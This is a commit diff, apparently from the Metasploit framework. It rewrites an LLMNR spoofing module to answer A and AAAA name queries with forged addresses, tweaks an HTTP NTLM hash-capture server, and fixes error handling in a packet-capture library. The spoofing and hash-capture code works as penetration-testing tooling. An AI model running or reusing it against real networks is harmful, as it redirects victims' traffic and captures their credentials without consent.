Skip to content

Commit 541833e

Browse files
committed
Convert llmnr_response to use Net::DNS
* Allows responding to AAAA requests in addition to the existing A support * Prevents problems when recvfrom returns a mapped address like "::ffff:192.0.2.1" Also: * Fix a few typos * capture: Don't shadow a method name (arp) with a local variable * capture: Handle the case where our UDP send hits an ENETUNREACH
1 parent 8b84221 commit 541833e

File tree

3 files changed

+128
-96
lines changed

3 files changed

+128
-96
lines changed

lib/msf/core/exploit/capture.rb

Lines changed: 20 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -48,15 +48,15 @@ def initialize(info = {})
4848
begin
4949
require 'pcaprub'
5050
@pcaprub_loaded = true
51-
rescue ::Exception => e
51+
rescue ::LoadError => e
5252
@pcaprub_loaded = false
5353
@pcaprub_error = e
5454
end
5555

5656
begin
5757
require 'network_interface'
5858
@network_interface_loaded = true
59-
rescue ::Exception => e
59+
rescue ::LoadError => e
6060
@network_interface_loaded = false
6161
@network_interface_error = e
6262
end
@@ -97,7 +97,7 @@ def open_pcap(opts={})
9797
len = (opts['SNAPLEN'] || datastore['SNAPLEN'] || 65535).to_i
9898
tim = (opts['TIMEOUT'] || datastore['TIMEOUT'] || 0).to_i
9999
fil = opts['FILTER'] || datastore['FILTER']
100-
arp = opts['ARPCAP'] || true
100+
do_arp = (opts['ARPCAP'] == false) ? false : true
101101

102102
# Look for a PCAP file
103103
cap = datastore['PCAPFILE'] || ''
@@ -115,7 +115,7 @@ def open_pcap(opts={})
115115
end
116116

117117
self.capture = ::Pcap.open_live(dev, len, true, tim)
118-
if arp
118+
if do_arp
119119
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
120120
preamble = datastore['UDP_SECRET'].to_i
121121
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
@@ -125,7 +125,7 @@ def open_pcap(opts={})
125125

126126
if (not self.capture)
127127
raise RuntimeError, "Could not start the capture process"
128-
elsif (arp and !self.arp_capture and cap.empty?)
128+
elsif (do_arp and !self.arp_capture and cap.empty?)
129129
raise RuntimeError, "Could not start the ARP capture process"
130130
end
131131

@@ -141,7 +141,6 @@ def close_pcap
141141

142142
def capture_extract_ies(raw)
143143
set = {}
144-
ret = 0
145144
idx = 0
146145
len = 0
147146

@@ -279,7 +278,7 @@ def inject_reply(proto=:udp, pcap=self.capture)
279278
# This ascertains the correct Ethernet addresses one should use to
280279
# ensure injected IP packets actually get where they are going, and
281280
# manages the self.arp_cache hash. It always uses self.arp_capture
282-
# do inject and capture packets, and will always first fire off a
281+
# to inject and capture packets, and will always first fire off a
283282
# UDP packet using the regular socket to learn the source host's
284283
# and gateway's mac addresses.
285284
def lookup_eth(addr=nil, iface=nil)
@@ -309,7 +308,15 @@ def probe_gateway(addr)
309308
dst_port = rand(30000)+1024
310309
preamble = [datastore['UDP_SECRET']].pack("N")
311310
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
312-
UDPSocket.open.send(secret, 0, dst_host, dst_port)
311+
312+
begin
313+
UDPSocket.open.send(secret, 0, dst_host, dst_port)
314+
rescue Errno::ENETUNREACH
315+
# This happens on networks with no gatway. We'll need to use a
316+
# fake source hardware address.
317+
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
318+
end
319+
313320
begin
314321
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
315322
::Timeout.timeout(to) do
@@ -415,7 +422,7 @@ def should_arp?(ip)
415422

416423
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache
417424

418-
#Netifaces code
425+
# Netifaces code
419426

420427
def netifaces_implemented?
421428
@network_interface_loaded and
@@ -486,8 +493,8 @@ def get_ipv4_addr(dev, num=0)
486493
check_pcaprub_loaded
487494
dev = get_interface_guid(dev)
488495
addrs = NetworkInterface.addresses(dev)
489-
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
490-
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
496+
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
497+
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
491498
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
492499
addrs[NetworkInterface::AF_INET][num]['addr']
493500
end
@@ -496,8 +503,8 @@ def get_ipv4_netmask(dev, num=0)
496503
check_pcaprub_loaded
497504
dev = get_interface_guid(dev)
498505
addrs = NetworkInterface.addresses(dev)
499-
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
500-
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
506+
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
507+
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
501508
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
502509
addrs[NetworkInterface::AF_INET][num]['netmask']
503510
end

modules/auxiliary/server/capture/http_ntlm.rb

Lines changed: 14 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -60,18 +60,24 @@ def initialize(info = {})
6060
end
6161

6262
def on_request_uri(cli, request)
63-
print_status("Request '#{request.uri}'...")
63+
vprint_status("Request '#{request.uri}'")
6464

6565
case request.method
6666
when 'OPTIONS'
6767
process_options(cli, request)
6868
else
6969
# If the host has not started auth, send 401 authenticate with only the NTLM option
7070
if(!request.headers['Authorization'])
71+
vprint_status("401 '#{request.uri}'")
7172
response = create_response(401, "Unauthorized")
7273
response.headers['WWW-Authenticate'] = "NTLM"
74+
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
75+
response.body =
76+
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
77+
7378
cli.send_response(response)
7479
else
80+
vprint_status("Continuing auth '#{request.uri}'")
7581
method,hash = request.headers['Authorization'].split(/\s+/,2)
7682
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
7783
if(method != "NTLM")
@@ -144,7 +150,7 @@ def handle_auth(cli,hash)
144150
nt_len = ntlm_hash.length
145151

146152
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
147-
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
153+
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
148154
:lm_hash => lm_hash,
149155
:nt_hash => ntlm_hash
150156
}
@@ -155,11 +161,11 @@ def handle_auth(cli,hash)
155161
#if the length of the ntlm response is not 24 then it will be bigger and represent
156162
# a ntlmv2 response
157163
elsif nt_len > 48 #lmv2/ntlmv2
158-
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
159-
:lm_hash => lm_hash[0, 32],
160-
:lm_cli_challenge => lm_hash[32, 16],
161-
:nt_hash => ntlm_hash[0, 32],
162-
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
164+
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
165+
:lm_hash => lm_hash[0, 32],
166+
:lm_cli_challenge => lm_hash[32, 16],
167+
:nt_hash => ntlm_hash[0, 32],
168+
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
163169
}
164170
elsif nt_len == 0
165171
print_status("Empty hash from #{host} captured, ignoring ... ")
@@ -337,7 +343,7 @@ def html_get_hash(arg = {})
337343
:active => true
338344
)
339345
#if(datastore['LOGFILE'])
340-
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
346+
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
341347
#end
342348

343349
if(datastore['CAINPWFILE'] and user)

modules/auxiliary/spoof/llmnr/llmnr_response.rb

Lines changed: 94 additions & 75 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
require 'msf/core'
99
require 'socket'
1010
require 'ipaddr'
11+
require 'net/dns'
1112

1213
class Metasploit3 < Msf::Auxiliary
1314

@@ -57,80 +58,92 @@ def initialize
5758
self.sock = nil
5859
end
5960

60-
def dispatch_request(packet, addr)
61-
rhost = addr[0]
62-
src_port = addr[1]
63-
64-
# Getting info from the request packet
65-
llmnr_transid = packet[0..1]
66-
llmnr_flags = packet[2..3]
67-
llmnr_questions = packet[4..5]
68-
llmnr_answerrr = packet[6..7]
69-
llmnr_authorityrr = packet[8..9]
70-
llmnr_additionalrr = packet[10..11]
71-
llmnr_name_length = packet[12..12]
72-
name_end = 13 + llmnr_name_length.unpack('C')[0].to_int
73-
llmnr_name = packet[13..name_end-1]
74-
llmnr_name_and_length = packet[12..name_end]
75-
llmnr_type = packet[name_end+1..name_end+2]
76-
llmnr_class = packet[name_end+3..name_end+4]
77-
78-
llmnr_decodedname = llmnr_name.unpack('a*')[0].to_s
79-
80-
if datastore['DEBUG']
81-
print_status("Received Packet from: #{rhost}:#{src_port}")
82-
print_status("transid: #{llmnr_transid.unpack('H4')}")
83-
print_status("tlags: #{llmnr_flags.unpack('B16')}")
84-
print_status("questions: #{llmnr_questions.unpack('n')}")
85-
print_status("answerrr: #{llmnr_answerrr.unpack('n')}")
86-
print_status("authorityrr: #{llmnr_authorityrr.unpack('n')}")
87-
print_status("additionalrr: #{llmnr_additionalrr.unpack('n')}")
88-
print_status("name length: #{llmnr_name_length.unpack('c')}")
89-
print_status("name: #{llmnr_name.unpack('a*')}")
90-
print_status("decodedname: #{llmnr_decodedname}")
91-
print_status("type: #{llmnr_type.unpack('n')}")
92-
print_status("class: #{llmnr_class.unpack('n')}")
61+
def dispatch_request(packet, rhost, src_port)
62+
rhost = ::IPAddr.new(rhost)
63+
64+
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
65+
# addr like "::ffff:192.168.0.1" when the interface we're listening
66+
# on has an IPv6 address. Convert it to just the v4 addr
67+
if rhost.ipv4_mapped?
68+
rhost = rhost.native
9369
end
9470

95-
if (llmnr_decodedname =~ /#{datastore['REGEX']}/i)
96-
# Header
97-
response = llmnr_transid
98-
response << "\x80\x00" # Flags TODO add details
99-
response << "\x00\x01" # Questions = 1
100-
response << "\x00\x01" # Answer RRs = 1
101-
response << "\x00\x00" # Authority RRs = 0
102-
response << "\x00\x00" # Additional RRs = 0
103-
# Query part
104-
response << llmnr_name_and_length
105-
response << llmnr_type
106-
response << llmnr_class
107-
# Answer part
108-
response << llmnr_name_and_length
109-
response << llmnr_type
110-
response << llmnr_class
111-
response << [datastore['TTL']].pack("N") #Default 5 minutes
112-
response << "\x00\x04" # Datalength = 4
113-
response << Rex::Socket.addr_aton(datastore['SPOOFIP'])
114-
115-
open_pcap
116-
# Sending UDP unicast response
117-
p = PacketFu::UDPPacket.new
118-
p.ip_saddr = Rex::Socket.source_address(rhost)
119-
p.ip_daddr = rhost
120-
p.ip_ttl = 255
121-
p.udp_sport = 5355 # LLMNR UDP port
122-
p.udp_dport = src_port # Port used by sender
123-
p.payload = response
124-
p.recalc
125-
126-
capture_sendto(p, rhost,true)
127-
if should_print_reply?(llmnr_decodedname)
128-
print_good("#{Time.now.utc} : Reply for #{llmnr_decodedname} sent to #{rhost} with spoofed IP #{datastore['SPOOFIP']}")
129-
end
130-
close_pcap
71+
dns_pkt = ::Net::DNS::Packet.parse(packet)
72+
spoof = ::IPAddr.new(datastore['SPOOFIP'])
73+
74+
# Turn this packet into a response
75+
dns_pkt.header.qr = 1
76+
77+
dns_pkt.question.each do |question|
78+
name = question.qName
79+
unless name =~ /#{datastore['REGEX']}/i
80+
vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
81+
next
82+
end
83+
84+
if should_print_reply?(name)
85+
print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}")
86+
end
87+
88+
# qType is not a Fixnum, so to compare it with `case` we have to
89+
# convert it
90+
case question.qType.to_i
91+
when ::Net::DNS::A
92+
dns_pkt.answer << ::Net::DNS::RR::A.new(
93+
:name => name,
94+
:ttl => 30,
95+
:cls => ::Net::DNS::IN,
96+
:type => ::Net::DNS::A,
97+
:address => spoof.to_s
98+
)
99+
when ::Net::DNS::AAAA
100+
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
101+
:name => name,
102+
:ttl => 30,
103+
:cls => ::Net::DNS::IN,
104+
:type => ::Net::DNS::AAAA,
105+
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
106+
)
107+
else
108+
print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type, this shouldn't happen. Skipping")
109+
next
110+
end
111+
end
112+
113+
# If we didn't find anything we want to spoof, don't send any
114+
# packets
115+
return if dns_pkt.answer.empty?
116+
117+
udp = ::PacketFu::UDPHeader.new(
118+
:udp_src => 5355,
119+
:udp_dst => src_port,
120+
:body => dns_pkt.data
121+
)
122+
udp.udp_recalc
123+
if rhost.ipv4?
124+
ip_pkt = ::PacketFu::IPPacket.new(
125+
:ip_src => spoof.hton,
126+
:ip_dst => rhost.hton,
127+
:ip_proto => 0x11, # UDP
128+
:body => udp
129+
)
130+
elsif rhost.ipv6?
131+
ip_pkt = ::PacketFu::IPv6Packet.new(
132+
:ipv6_src => spoof.hton,
133+
:ipv6_dst => rhost.hton,
134+
:ip_proto => 0x11, # UDP
135+
:body => udp
136+
)
131137
else
132-
vprint_status("Packet received from #{rhost} with name #{llmnr_decodedname} did not match REGEX \"#{datastore['REGEX']}\"")
138+
# Should never get here
139+
print_error("IP version is not 4 or 6. Failed to parse?")
140+
return
133141
end
142+
ip_pkt.recalc
143+
144+
open_pcap
145+
capture_sendto(ip_pkt, rhost.to_s, true)
146+
close_pcap
134147
end
135148

136149
def monitor_socket
@@ -143,8 +156,7 @@ def monitor_socket
143156

144157
if (r != nil and r[0] == self.sock)
145158
packet, host, port = self.sock.recvfrom(65535)
146-
addr = [host,port]
147-
dispatch_request(packet, addr)
159+
dispatch_request(packet, host, port)
148160
end
149161
end
150162
end
@@ -168,16 +180,23 @@ def run
168180
check_pcaprub_loaded()
169181
::Socket.do_not_reverse_lookup = true
170182

171-
multicast_addr = "224.0.0.252" #Multicast Address for LLMNR
183+
# Multicast Address for LLMNR
184+
multicast_addr = ::IPAddr.new("224.0.0.252")
185+
186+
# The bind address here will determine which interface we receive
187+
# multicast packets from. If the address is INADDR_ANY, we get them
188+
# from all interfaces, so try to restrict if we can, but fall back
189+
# if we can't
190+
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
172191

173-
optval = ::IPAddr.new(multicast_addr).hton + ::IPAddr.new("0.0.0.0").hton
192+
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
174193
self.sock = Rex::Socket.create_udp(
194+
# This must be INADDR_ANY to receive multicast packets
175195
'LocalHost' => "0.0.0.0",
176196
'LocalPort' => 5355)
177197
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
178198
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
179199

180-
181200
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
182201
monitor_socket
183202
}

0 commit comments

Comments
 (0)